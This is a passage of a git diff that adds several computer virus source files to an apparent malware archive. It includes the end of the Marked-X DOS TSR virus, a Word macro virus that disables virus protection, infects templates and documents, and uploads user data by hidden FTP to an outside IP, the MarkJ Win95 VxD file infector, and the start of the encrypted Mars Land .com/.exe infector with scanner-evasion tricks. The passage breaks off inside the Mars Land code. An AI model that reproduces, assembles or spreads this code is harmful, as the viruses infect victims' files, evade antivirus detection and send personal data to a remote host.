cx,offset endvir-100h ; Length of area to write +mov ah,40h ; Function 40h: Write to file +mov dx,100h ; Start of Virus +int 21h +cwd ; Set Date/Time +xor cx,cx ; to zero (00-00-00) +mov ax,5701h +int 21h +mov ah,3eh ; Close Victim file +int 21h +x21: +pop ds ; pop all ; Restores all registers +pop dx +pop cx +pop bx +pop ax +end21: +popf ; Pops the flags register to keep it unaltered +db 0eah ; Jumps Far to the old Int 21h handler +old21 dw 0,0 ; Where to store the old INT21 +data_1 db 'Marked-X' ; Virus name + db 'Will we ever learn to talk with eachother?' ; Virus poem + db '(c) Metal Militia/Immortal Riot' ; Virus author +society db 'In any country, prison is where society sends it''s',0dh,0ah + db 'failures, but in this country society itself is faily',0dh,0ah + db '$' ; Information note +note db 'Bad command or filename',0dh,0ah + db '$' ; Fake note +tsrdata: +mov ax,3521h ; Function 35??h: Get Interrupt Vector + ; AL = INT# + ; Returns ES:BX of old Interrupt vector +int 21h ; Find out where INT 21h goes +mov cs:[old21],bx ; Places the Old INT 21h vector into +mov cs:[old21+2],es ; its proper place. +mov dx,offset new21 ; Insertion Point of New INT 21h +mov ax,2521h ; Function 25??h: Set new Int Vector + ; AL = INT # + ; Makes DS:DX new INT Vector +int 21h ; Coolness +push cs ; CS = Code segment that the PSP of TSR + ; progge is located in. +pop ds ; Copy that into DS +mov dx,offset endvir ; Put all of us in memory +int 27h ; Do it, TSR (terminate & stay resident) +endvir label byte ; End of file +virus ends + end start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.markerc.txt b/MSDOS/Virus.MSDOS.Unknown.markerc.txt new file mode 100644 index 00000000..665b450c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.markerc.txt @@ -0,0 +1,126 @@ +Private Sub Document_Close() + +On Error Resume Next + +Const Marker = "<- this is a marker!" + +'Declare Variables +Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean +Dim ad, nt As Object +Dim OurCode, UserAddress, LogData, LogFile As String + +'Initialize Variables +Set ad = ActiveDocument.VBProject.VBComponents.Item(1) +Set nt = NormalTemplate.VBProject.VBComponents.Item(1) + +DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000) +NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000) + + +'Switch the VirusProtection OFF +Options.VirusProtection = False + + + If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then + + If DocumentInfected = True Then + LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines) + ElseIf NormalTemplateInfected = True Then + LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines) + End If + + LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->")) + + For I = 1 To 4 + LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1) + Next I + LogFile = "C:\hsf" & LogFile & ".sys" + + Open LogFile For Output As #1 + Print #1, LogData + Close #1 + + Open "c:\netldx.vxd" For Output As #1 + Print #1, "o 209.201.88.110" + Print #1, "user anonymous" + Print #1, "pass itsme@" + Print #1, "cd incoming" + Print #1, "ascii" + Print #1, "put " & LogFile + Print #1, "quit" + Close #1 + + Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide + + System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True + + End If + + +'Make sure that some conditions are true before we continue infecting anything +If (DocumentInfected = True Xor NormalTemplateInfected = True) And _ + (ActiveDocument.SaveFormat = wdFormatDocument Or _ + ActiveDocument.SaveFormat = wdFormatTemplate) Then + + + 'Infect the NormalTemplate + If DocumentInfected = True Then + + SaveNormalTemplate = NormalTemplate.Saved + + OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines) + + + 'Write a log file of this NormalTemplate infection + For I = 1 To Len(Application.UserAddress) + If Mid(Application.UserAddress, I, 1) <> Chr(13) Then + If Mid(Application.UserAddress, I, 1) <> Chr(10) Then + UserAddress = UserAddress & Mid(Application.UserAddress, I, 1) + End If + Else + UserAddress = UserAddress & Chr(13) & "' " + End If + Next I + + OurCode = OurCode & Chr(13) & _ + "' " & Format(Time, "hh:mm:ss AMPM - ") & _ + Format(Date, "dddd, d mmm yyyy") & Chr(13) & _ + "' " & Application.UserName & Chr(13) & _ + "' " & UserAddress & Chr(13) + + + nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines + nt.CodeModule.AddFromString OurCode + + If SaveNormalTemplate = True Then NormalTemplate.Save + + End If + + + 'Infect the ActiveDocument + If NormalTemplateInfected = True And _ + (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _ + ActiveDocument.Saved = False) Then + + SaveDocument = ActiveDocument.Saved + + OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines) + + ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines + ad.CodeModule.AddFromString OurCode + + If SaveDocument = True Then ActiveDocument.Save + + End If + + +End If + +End Sub + +' Logfile --> + +' 09:08:36 - Saturday, 28 Nov 1998 +' SPo0Ky +' Blue Planet +' \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.markj.asm b/MSDOS/Virus.MSDOS.Unknown.markj.asm new file mode 100644 index 00000000..1dd3ff41 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.markj.asm @@ -0,0 +1,650 @@ +; +; MarkJ, by Murkry/IkX +; +; +; +; Well this idea was very klunky (;) hi dv8) until I received and +; dissassembled the F---- harry 3 virus. There I found that you could hook +; VxD functions (yay) using the QG manuver. Well this made this virus easier, +; the main difference between QG's are this is larger and requires a section +; to be added the host; this is due to the method in how it gets tsr space its +; section header is set to Virtual address c0000000 - 400000 (bfc00000) +; which makes this section loaded at C0000000 an "unused" area in sharedVxD +; memory this method will also work with the shared memory at 70000000 this +; method will leave that 1000h area in memory even after the orginal program +; is ended ;)) +; (*added now b0z0 has already used this in one of his new viruses I am glad +; to see*) +; As for the QG manuever well see his source code for more info but basically +; he uses a fixed location to find the vmm Device Descriptor Block in memory, +; then finds the schedule Global event entry point well you save this address +; and replace it with a pointer to your code which will then be at the ring0 +; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky +; and then repair the Global Event call and your set. Yeah i know thats +; confusing read the code and figure it out you will learn more and feel better +; about yourself :) +; Problems to overcome: +; well VxDcalls are coded in this fashion +; int 20h +; dd 00400032 ; vxd vxdfunction +; which is replaced with +; call [vxdfunction address] +; after the first time it is executed so the code can no longer be simply +; added to the host, QG fixed this by "patching" all these Dynalinks back to +; the int 20.... in Fharry, but he leaves the last one that is called at the +; final write to file which is converted to the call[...] b4 the write to file +; so this leaves one entry that is not patched Well this is sorta easy to fix +; in a number of methods I am choosing the easiest way which is to copy the +; code b4 the dynalink occur to an another location and when I write that copy +; of the code to the new host, another method would be to create the int 20's +; in a dynamic manner the first time this method might be nice for a mutating +; form of this type of virus as you can see VX technology is unlimited in what +; there is to explore in the Win95 enviroment. +; hmm oh yeah the virus has a small payload on the 25th of june it will +; display a VWin32_SysErrorBox wishing Mark j a happy bday :) +; For those who wonder MarkJ is my friend's son, who is the one who show me +; the wonderful world of Virii; JHB yea he is around! +; I know that since I show this to b0z0 he has taken this idea cleaned it up +; added new ideas so for some code that is more robust check out his article's +; +; +; +; Murkry + + +.Radix 16 + +.386 +;some restrictions +;I do not alter the Virtual address of the new section so the +; host host must load at a base address of a 400000h if this is not true do +; not infect +;to try to stay as a Win95 I check for file alignment as a 200h if not again +;do not infect + +; the "new" vxd area I create wants dd 0c0000040h +;for its characerstics or it fails out strange +; now this infects pe files that are name as .com files but get this +; the infect com will not run it hangs the system???? well this is just +;for demo purposes, rename the infected file to *.exe and it will work :) +;and lastly I did not add some check to insure that section directory has +;enough room in it ;) I leave these problems for the student to fix +; +; unlike most vxd's virii this requires Tasm and a debug script that sets the +; characterisics of the .DATA to 0c0000040h all set ;) +;but does not need special .lib's or the infamous ddk ;) +;while i have access to it I prefer to make my files without such things +;that way I can use Tasm and not Masm +; +;Well Virii eXplorers I hope this is an acceptable offering ;) +;thanks to QuantumG, DV8 for source and EXE's that help complete this +; +;Murkry 8/21/97 + +; Compiling: +; tasm32 /ml /m3 markj,,; +; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib, +; And then just make the DATA area to be loaded at BFC00000h with a hex editor + +LoadAt equ 0c0000000h +PeHeader equ offset Buffer - offset markj + LoadAt +.model flat + +extrn ExitProcess:PROC +extrn AddAtomA:PROC +;this is just the data area that I am using to build the code that will +;go in the 0c0000000h area the start of the host will be in the .code +; and in a real infection it will execute from the section dir.. +.data ;the data area +markj: + +;first thing find the VMM uses a fixed location here +;yea this is just a modfied form of fuck harry by QG but +;why not +;maybe its possible to just scan for 'VMM ' +;From 0C0010000 ? + +StartOfVirus: + ;ok first thing copy the virus to the end of our work and data error + ;this way we have an ucorrupted version + mov esi, LoadAt + mov edi,offset DummyCode - Offset StartOfVirus + LoadAt + mov Ecx,offset EndVirus - Offset StartOfVirus + rep movsb + + mov eax,0C000157Fh ;pointer to one location??? + mov ebx,[eax] ;of the VMM dbb + cmp dword ptr [ebx+0C],0204D4D56h ;'VMM ' + jne ErrorExit ;if not here get out + + mov ebx,[ebx+30h] + ;find the Service table for th vmm + ;now load the call_global_event address (I think) + ;I have read the source to Fharry and I was right :) + ;Sorta hook this Services + lea eax,[ebx+3Ch] + + ;Store this value to restore it later + mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax + ; 0c000e384h + + mov eax,[eax] + + mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax + ; 402066 + lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt] + ;hook the code + mov [ebx+3Ch],eax ;New Location of our Handler + +;Ok we should be set to return to the host + +ErrorExit: + +RetToHost: + inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt] + + Ret + +;---------------------------------------------------------- +;In Dos we would now be in the int Handler +; Here we are now in Ring 0 and are part of the VxD land ;) +; this is where we finish the QG manuever by hooking HookFSD + +NewHandler: + pushad + + + ;restore the global event hook + mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt] + + ;mov [00000000],eax + db 0A3h +OrgIfsEntry dd 0 + + mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs + call CallIFSHook + + popad +;--------------------------------------------------------- + +; jmp 0028:00000000 + db 0eah +VxDOff dd 0401000h +VxDSeg: dw 0137h +;--------------------------------------------------------------- + +VVxdCall1: +CallIFSHook: + + lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt] + push edx + push eax + +;this is sorta like hooking every int21 that handle file access in DOS +;This will add a FS hook now whenever a FSD is Called this will be called +;first +;Call +;Tos = New Fsd Address to Install +;return +;EAX = Last FShook +ApiHook: ;4020dd + int 20h +V1: +APIHOOKVXD dd 00400067h + ; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */ + ; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67 + + add esp,00000004 ;like a pop changes no regs but esp + ;some VxD's routines + ;do not clean up after themselves + ;Sometimes check docs for specs :)) + + pop edx ; restore Edx + ;Save the old FSHook so we can chain to it + mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax + +;A little payload here if its the 6/25 then display the B-day mess +;just using the VMM Exec_VxD_Int to get the System date +;To be honest I could not find an easier way to do this!!! +;there are some VxD that give time and date but the date is how many +; seconds(I think) from some date in the 1980's this is easier and +; shows that accessing int 21 is still possible infact if QG is hooking the +; the GlobalEvent from the VMM it should be possible to hook the int21 +; hanlder in a similiar fashion then some creative coding could make the +; Dos tsr and the VxD code very similiar.... +; check for 6/25 if its the date show the message and set the flag +; + + mov eax,00002A00h ;get system date + push dword ptr 21h + int 20h +V2 dd 0001008fh + + cmp dx,0619 + ;6/25 in hex for those decimal heads ;) + jne ForGetIt + + + ;this shows how one might use the VWin32_SysErrorBox +;To display a little message justing saying Hi to JHB's son who is the +; happy (?) reason jhb is not coding as much any more I should add he +;did help with alot of this code + mov ebx, LoadAt + add ebx, offset EBox - offset markj + int 20h +V3 dd 002a001ah + + +ForGetIt: + + ret +;---------------------------------------------------- +;all right we have "legal" hook into a FSD and the rest is the +;just the infection routine +NewFShook: + push ebp + mov ebp,esp + sub esp,00000020 + +;------------------------------------------------------- +;Relative EBP this is what was passed I hope DV8 does not mind me +; using his docs to define this stuff +;00 - ebp +;04 - address of caller +;08 - adress of FSD Function +;0c - Function ID +;10 - drive +;14 - Type of Resource +;18 - Code Page +;1C - Pointer to IOREQ record +; 00 dw Lenght if user Buffer +; 02 db status Flag +; 03 db requests' user Id +; 04 dw file handle's System File number +; 06 dw Process ID +; there is more I will copy or add as needed + + push ebx + push esi + push edi + + ; mov edi,00000000 +; db 0bfh ;this gets us so edi points to our +;VirriOffVxD dd LoadAt ;loc in memory + +; Use this flag so we are not reentrant + + cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01 + je letOrginal +;Win95 always opens the file b4 running it so this checks and lets us +;check if it is opened + cmp dword ptr [ebp+0Ch],00000024h + jne letOrginal + +;ok set our flag + mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01 + pushad + + lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt] + + mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ + cmp al,0FFh + je NoNeedDriveLetter + + + add al,40h ;this creates the c: + mov [esi],al ; + inc esi ;takes 1 byte + mov byte ptr [esi],':' ; + inc esi ;takes two bytes + +NoNeedDriveLetter: + + xor eax,eax + push eax ;character set + + mov eax,000000FF ;max size of output buffer + push eax ; + + mov ebx,[ebp+1Ch] ;??? copies from Mr k and + mov eax,[ebx+0Ch] ;Fharry virus it seems to + add eax,00000004 ;to get the input file name + push eax ; which is in unicode + + mov eax,esi ;where we want the output + push eax ; + +UniToBcs: ;ok do it + int 20h + dd 00400041h + ;IFSMgr_Service UniToBCSPath + add esp, 4*4 ;need to clean up the stack + ; dword size * how many push + ;(paremeters) + add esi,eax + mov byte ptr [esi],00 + cmp dword ptr [esi - 4],"MOC." +; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect + ;proper files ;> + jne ExitVVxD +;could add the get and save attributes stuff here as a Xercise for the student + + mov Eax,0000D500h ;create/open file + xor ecx,ecx + lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt] + mov ebx,2 ;flags + mov edx,1 + + call VxDIFS ;decide to combine this call + ;int 20 + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + + jb ExitVVxD ;error opening the file + mov ebx,eax ;file handle + +;Read File open with read write d6 +;3c is the location of the dword pter to the PE/NE part + + mov ecx,00000004 ;how much + mov edx, 03Ch ;where to read from + mov eax,0000D600h ;read from file + lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt] + ;where to read to + + call VxDIFS + ;int 20h + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + + mov ecx,400h + mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt] + ;use as a pointer + mov eax,0000D600h + lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt] + ;where to read to + + call VxDIFS + ;int 20h + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO 32 + ;check for the PE +;Read in the first 1k of info from the PE header on + cmp dword ptr [esi],00004550h ;00,'EP' + jne CloseFile + +;Alright!! its a PE file now check if infected +;use the user defined 2 words at 44h = Murk +;figure file size +;figure amout to add +;fix header and write end and then write header +;all offsets should be off the offset Buffer - offset markj + LoadAt +; called PeHeader + +;Lets do some checks if any fail get out + + cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define + je CloseFile +;Well not infected with MarkJ1 virus + + cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image + jne CloseFile +;for this example we only want the base image to be 400000h + + cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment + jne CloseFile +;and lastly check the file alignment if 200 we are set + + + xor eax,eax + mov ax,word ptr ds:[PeHeader + 6] ;how many sections + mov ecx,28h ;section size + mul ecx + + mov edi,eax ;New Section Entry + add edi,PeHeader + 0f8h ;add Pe header size + + push edi ;location in PeHeader of new section header + + mov esi, offset SectName - offset markj + LoadAt + mov ecx, offset EndVirus - offset SectName + rep movsb + + pop edi + +;get file size + mov eax,0d800h ;get file size + + call VxDIFS + ; int 20h + ; dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + ;jc for error + + mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax + + push eax ;save the size + pop edx ;get it in edx + push edx ;save again + add eax,0200h + shr eax,09h ;make it the 200h size + shl eax,09h ; + + pop ecx + sub eax,ecx + xchg eax,ecx + +;Extend the file to a 200 file alignment + + cmp ecx,0200h + jz AtAlignment + add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx + + mov eax,0000d601h ;write to file + mov esi,0c0000000h + call VxDIFS + ;int 20h + ;dd 00400032h ;edx is telling us where to write to in the file +AtAlignment: + + mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt] + mov dword ptr ds:[edi + 14h ],edx + + mov ecx,offset EndVirus - offset StartOfVirus + mov eax,0000d601h ;write to file + mov esi,offset DummyCode - Offset StartOfVirus + LoadAt + call VxDIFS + ;int 20h + ;dd 00400032h ;edx is telling us where to write to + +;ok fix the header and write it back +;fix marker + mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define +;fix Eip + mov eax,edi + sub eax,PeHeader + add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt] + add eax,28h ;<----NewEip + mov dword ptr ds:[edi + 28h + 1],eax + push eax ;save the new eip + + mov eax,dword ptr ds:[PeHeader + 28] + mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax + + pop eax + mov dword ptr ds:[PeHeader + 28],eax ;set the new eip + + +;fix section count + inc word ptr ds:[PeHeader + 6] + + mov ecx,400h + mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt] + ;use as a pointer + lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt] + ;where to read to + mov eax,0000d601h ;write to file + call VxDIFS + ; int 20h + ; dd 00400032h ;edx is telling us where to write to + + +CloseFile: + mov eax,0000d700h + + call VxDIFS + ;int 20h ;402500h + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + + + +ExitVVxD: + Popad +;Restore our flag so we can infect the next file + mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0 + +letOrginal: + + mov eax,[ebp+1CH] ;040250eh + push eax + mov eax,[ebp+18H] + push eax + mov eax,[ebp+14H] + push eax + mov eax,[ebp+10H] + push eax + mov eax,[ebp+0CH] + push eax + mov eax,[ebp+08H] + push eax + + ;mov eax,00000000 + db 0b8h +OldFSD dd 0 + call [eax] + + add esp,00000018 + pop edi + pop esi + pop ebx + leave ;402533h + ret + +;******************************************** +VxDIFS: + int 20h ;402500h + dd 00400032h + ret + +;******************************************** + +MFlag db ? +Flag1 db ? + +EBox dd ? +butt1 dw 0 +butt2 dw 8001 +butt3 dw 0 +TitleOff dd offset TitleEB - offset markj +0c0000000h +TextOff dd offset TextEB - offset markj +0c0000000h + +TitleEB db 'Happy Birth Day to Mark J ',0 +TextEB db 'From Murkry',0 + +;----------------------------------------------------------- + +SectName db "MarkJ_I " +Physadd dd offset EndVirus - offset StartOfVirus +VirtualAdd dd 0c0000000h - 400000h ;bfc00000 +SizeRawData dd offset EndVirus - offset StartOfVirus +PntrRawData dd 0 ;will be set at infection +PnterReloc dd ? +PnterLine dd ? + dw ? + dw ? +Character dd 0c0000040h + + ;sub eax, offset HOST - 400000h + db 2dh +NewEipRva dd offset HOST - 400000h + + cmp eax,400000h + jne GetOut + cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0 + jne GetOut + + ;EAX ;current base address + pushad + call DoNothing +DoNothing: + pop eax + add eax,0bh + push eax + push 0c0000000h + ret +Here: + popad + +GetOut: + + ;add eax, offset return - 400000h + db 05h +OldEipRva dd offset return - 400000h + + jmp eax +;---------------------------------------------------------------- + + + +EndVirus: +FileName db 100 dup(00) ;holds the file name + + +PEPtr dd 0 +FileSize dd 0 +Buffer db 400h dup(00) + +CheckTsr db 00 + +DummyCode: + +;-------------------------------------------------------------------- +.code ;executable code starts here + +HOST: + ;sub eax, offset HOST - 400000h + db 2dh +NewEipRva1 dd offset HOST - 400000h + + cmp eax,400000h + jne GetOut1 + cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0 + jne GetOut1 + + ;EAX ;current base address + pushad + call DoNothing1 +DoNothing1: + pop eax + add eax,0bh + push eax + push 0c0000000h + ret +Here1: + popad + +GetOut1: + + ;add eax, offset return - 400000h + db 05h +OldEipRva1 dd offset return - 400000h + + jmp eax +;-------------------------------------------------- + +return: + push LARGE -1 + call ExitProcess + + end HOST diff --git a/MSDOS/Virus.MSDOS.Unknown.marsland.asm b/MSDOS/Virus.MSDOS.Unknown.marsland.asm new file mode 100644 index 00000000..7f1a2e7d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.marsland.asm @@ -0,0 +1,1135 @@ +; MARS LAND virus by Spanska +; Called Spanska.1500 by AV people +; This is my third virus +; +;********************************************************************* +; +; THIS VIRUS IS DEDICATED TO... uhhh... nobody this time :) +; +; Or maybe to all the virus coders who do not destruct with +; their creations. I've put the phrase "Coding a virus can +; be creative" to show that an original infection routine, +; a funny payload or a new mutation engine, are far more +; interesting for the coder and for other people than stupid +; destruction. +; I worked some weeks on this virus graphic effect. A simple +; routine to delete a hard drive would have taken me one +; minute to copy/paste it. So, no interest. +; +; Greets to Griyo (best virus coder on this side of the +; galaxy), MrSandman and other guys from 29A (the best group!), +; to Roadkill, Slacker, and friends on IRC (from Luxembourg, +; Spain, Sweden and everywhere), Poltergst and Cicatrix for +; their job on the web. And to the very few french virus +; coders, or even fighters (salut Jean-Luc!). +; +;******************************contact me at el_gato@rocketmail.com*** +; +; At the time it was released (march 97), the detection was: +; TBSCAN flags: c?K on .exe's, nothing on .com's +; FPROT: "ear variant" on unencrypted generation 0, nothing after +; DrSolly Findvirus: nothing +; DrWeb: nothing +; AVP: nothing +; (i saw in newsgroups that a scanner i can't remember flags it +; sometimes like a Whale variant, never happened to me) +; +; generation zero size: 1660 +; virus size: 1500 +; +; compile it with TASM /m2 and TLINK /t +; +; Properties: +; simple .com/.exe runtime infector +; file search routine is essentially derived from my NO PASARAN virus +; not destructive +; encrypted with variable key +; infects 3 .com and 3 .exe each run +; infects current directory, than upper directories +; when it reaches the root, it starts infecting all "level1" subdirectories +; does not infect files <500 bytes, nor command.com +; the VGA graphic bomb (a 3D voxel effect) explodes +; when minutes=30 and seconds<30 (1/120) + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h +; +;---------------fake host code-------------------- +; +hote: +call virus ;jump to viral code (avoid J flag) +signature db "ee" ;virus signature +nop ; +nop ;fake host +nop ; +nop ; +mov ah, 4ch ;finished +mov al,0 ;go to +int 21h ;DOS + +;********************************************************************** +; START OF VIRAL CODE +;********************************************************************** + +virus: ;virus starts here +; +;-------------in case of an exe, let's work in cs-------------- +; +push ds ;save ds on stack... Don't forget it... + +push cs ;we are in the virus segment +push cs ;so we have to adjust +pop es ;ds and es to point +pop ds ;to this segment +; +;---------------get delta offset---------------------------- +; +call $+3 ;modified classic +delta: ;routine to +mov bp, sp ;avoid flag E +mov ax, [bp] ; +add word ptr [bp], decrypte-delta ;thanks Slacker's Theory +sub ax, offset delta ;of Code through Obscurity! +mov bp, ax +ret + +clef db 0 ;the crypting key + +;=== this stosb === +;=== when outside decrypt loop === +;=== does not flag # === +baise_flag_cryptage: ;=== +stosb ;=========>>> NO MORE FLAG "#" !!!!! +ret ;=== +;=================================== + +; +;----------------------decrypting routine------------------------- +; +decrypte: +mov dl, [bp+offset clef] ;actual key in dl +mov cx, fin_cryptage - debut_cryptage ;number of bytes to decrypt +lea si, [bp+offset debut_cryptage] ;si=start of zone to decrypt +mov di, si ;di=start of zone to decrypt +xor_loop: ;decrypt loop +lodsb ;get byte to decrypt in al +nop ;just here to make a 1500 bytes virus ;) +xor al, dl ;the byte is decrypted with the key +call baise_flag_cryptage ;call the outside stosb (avoid flag #) +loop xor_loop ;finish decryption + +debut_cryptage: ;start of the crypted zone +; +;------transfert of infected file information on another zone--------- +; (for final normal execution of the program) +; +lea si, [bp+offset pip] ;from this zone +lea di, [bp+offset vip] ;to this zone +movsw +movsw ;we transfer 8 bytes +movsw +movsw +; +;---------------initialisation to 0 of directory counter-------------- +; and 2 infection counters (com and exe) +; +lea di, [bp+offset phase] ;they are here +xor ax, ax ;put them to zero +stosw ;(3 counters = 3 bytes) +stosb +; +;--------------------remember current repertory------------------ +; +lea si, [bp+offset repert] ;si on good memory zone +xor dl, dl ;dl=0 is default unit +mov ah, 47h ;47h=current dir in memory +int 21h ;go! +; +;---------------DTA go to a predefined zone in memory------------- +; +push 1a00h ;push/pop to +pop ax ;avoid flag F +lea dx, [bp+offset dta] +int 21h + +;********************************************************************** +; .COM INFECTION +;********************************************************************** +; +;-----------------find first .com file------------------------- +; +recherche: +mov cx, 0007h ;attributes +lea dx, [bp+offset file_com] ;file mask for a .com +mov ax, 4e00h ;4eh=find first file +int 21h ;file found? +jnc sauter_suivant ;yes => c=0, let's continue +jmp infecte_exe ;no => go to .exe infection +; +;---------------------find next .com file------------------------- +; +fichier_suivant: +lea dx, [bp+offset file_com] ; +mov ax, 4f00h ;4Fh=find next file +mov cx, 0007h +int 21h ;file found? +jnc saut5 ;yes => c=0, let's continue +jmp infecte_exe ;no => go to .exe infection +saut5: +; +;---------------verify if extension is really .com--------------------- +; (it's made to avoid flag S with tbscan) +; +sauter_suivant: +call verifie_extension ;call verification routine +cmp word ptr [si], "MO" ;second and third letters are "OM"? +jne fichier_suivant ;no => find next .com file +; +;----------------verify if it's command.com---------------------------- +; +cmp word ptr [bp+offset dta+1eh+2], "MM" ;test 3rd and 4th letter +je fichier_suivant ;yes => find next file +; +;--------------attributes to 0 to infect special files------------- +; +call attrib_a_zero +; +;--------------------open file, and verify header----------------------- +; +call ouvre_et_verif_header + +jmp fichier_suivant ;if header not good (already infected) + ;we get here and search another file + +;if header good we get here on routine return +; +;--------transfer 5 first bytes of the .com to another zone---------- +; +lea si, [bp+offset exehead] +lea di, [bp+offset cinq_octets] +movsw +movsw +movsb +; +;-----------before infection, change of the crypting key----------- +; +call change_clef +; +;------------disk file pointer at the end----------- +; +mov ax, 4202h +xor cx, cx +mov dx, cx +int 21h +; +;-----------------------infection----------------------------------- +; +call infecte +; +;--overwrite 5 first bytes on the disk by jump to virus code + signature--- +; +;1) move disk file pointer to start of the file +; +call pointeur_debut +; +;2) calculate initial jump and write all on a temp zone in memory +; +lea di, [bp+offset cinq_octets] +mov al, 0E8h ;E8=opcode of CALL +stosb +mov ax, word ptr [bp+offset dta+1ah] ;ax=file size +sub ax, 3 ;this is because of the CALL +stosw +mov ax, "ee" ;signature +stosw +; +;3) overwrite 5 first bytes on the file +; +mov cx,5 +lea dx, [bp+offset cinq_octets] +call ecrit_fichier +; +;----------------restore time/date of the file-------------------- +; +call restaure_time +; +;------------close file and restore file attributes-------------------- +; +call remise_en_etat +; +;--------verify how many .com files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur_com] ;infection counter in cl +inc cl ;one more +cmp cl, 3 ;have we infected 3 .com files? +je infecte_exe ;yes => let's infect .exe now +mov byte ptr [bp+offset compteur_com], cl ;no => write new value of counter +; +;-----------------let's infect a new .com file------------------ +; +jmp fichier_suivant ;go infect next file + +;********************************************************************** +; .EXE INFECTION +;********************************************************************** + +infecte_exe: +; +;------------------find first .exe file------------------------- +; +recherche_exe: +mov cx, 0007h ;attributes +lea dx, [bp+offset file_exe] ;file mask for a .exe +mov ax, 4e00h ;4eh=find first file +int 21h ;file found? +jnc sauter_exe_suivant ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper directory +; +;------------------find next file------------------------- +; +exe_suivant: +lea dx, [bp+offset file_exe] ;file mask for a .exe +mov ax, 4f00h ;4Fh=find next file +mov cx, 0007h ;attributes +int 21h ;file found? +jnc saut_exe ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper direcory +saut_exe: ; +; +;---------------verify if extension is really .com--------------- +; (it's made to avoid flag S with tbscan) +; +sauter_exe_suivant: +call verifie_extension ;call verification routine +cmp word ptr [si], "EX" ;second and third letters are "OM"? +jne exe_suivant ;no => find next .exe file +; +;------------attributes to 0 to infect special files------------- +; +call attrib_a_zero + +call ouvre_et_verif_header +jmp exe_suivant ;if header not good (already infected or + ;windows file) we get here and search + ;another file + +;if header good, we get here +; +;------------verify that it's really a .exe with MZ header---------------- +; +lea si, [bp+offset exehead] +lodsw +add ah, al ;to avoid flag Z +cmp ah, 167 ;(M+Z in ASCII is 167) +jne exe_suivant ;if it's not MZ or ZM, find next .exe file +; +;-----------before infection, change the crypting key----------- +; +call change_clef +; +;----------------save old .exe header values------------------------- +; +lea di, [bp+offset pIP] +mov ax, word ptr [bp+ exehead+14h] ;save IP +stosw +mov ax, word ptr [bp+ exehead+16h] ;save CS +stosw +mov ax, word ptr [bp+ exehead+0Eh] ;save SS +stosw +mov ax, word ptr [bp+ exehead+10h] ;save SP +stosw +; +;---------disk file pointer at the end (return dx:ax = size)--------- +; +mov bx, [bp+offset handle] +mov ax, 4202h +xor cx, cx +xor dx, dx +int 21h + +push ax ;save size on stack +push dx ;useful for next calculations +; +;----------------calculate new cs:ip--------------------------------- +; +push ax +mov ax, word ptr [bp+exehead+08h] +mov cl, 4 +shl ax, cl +mov cx, ax 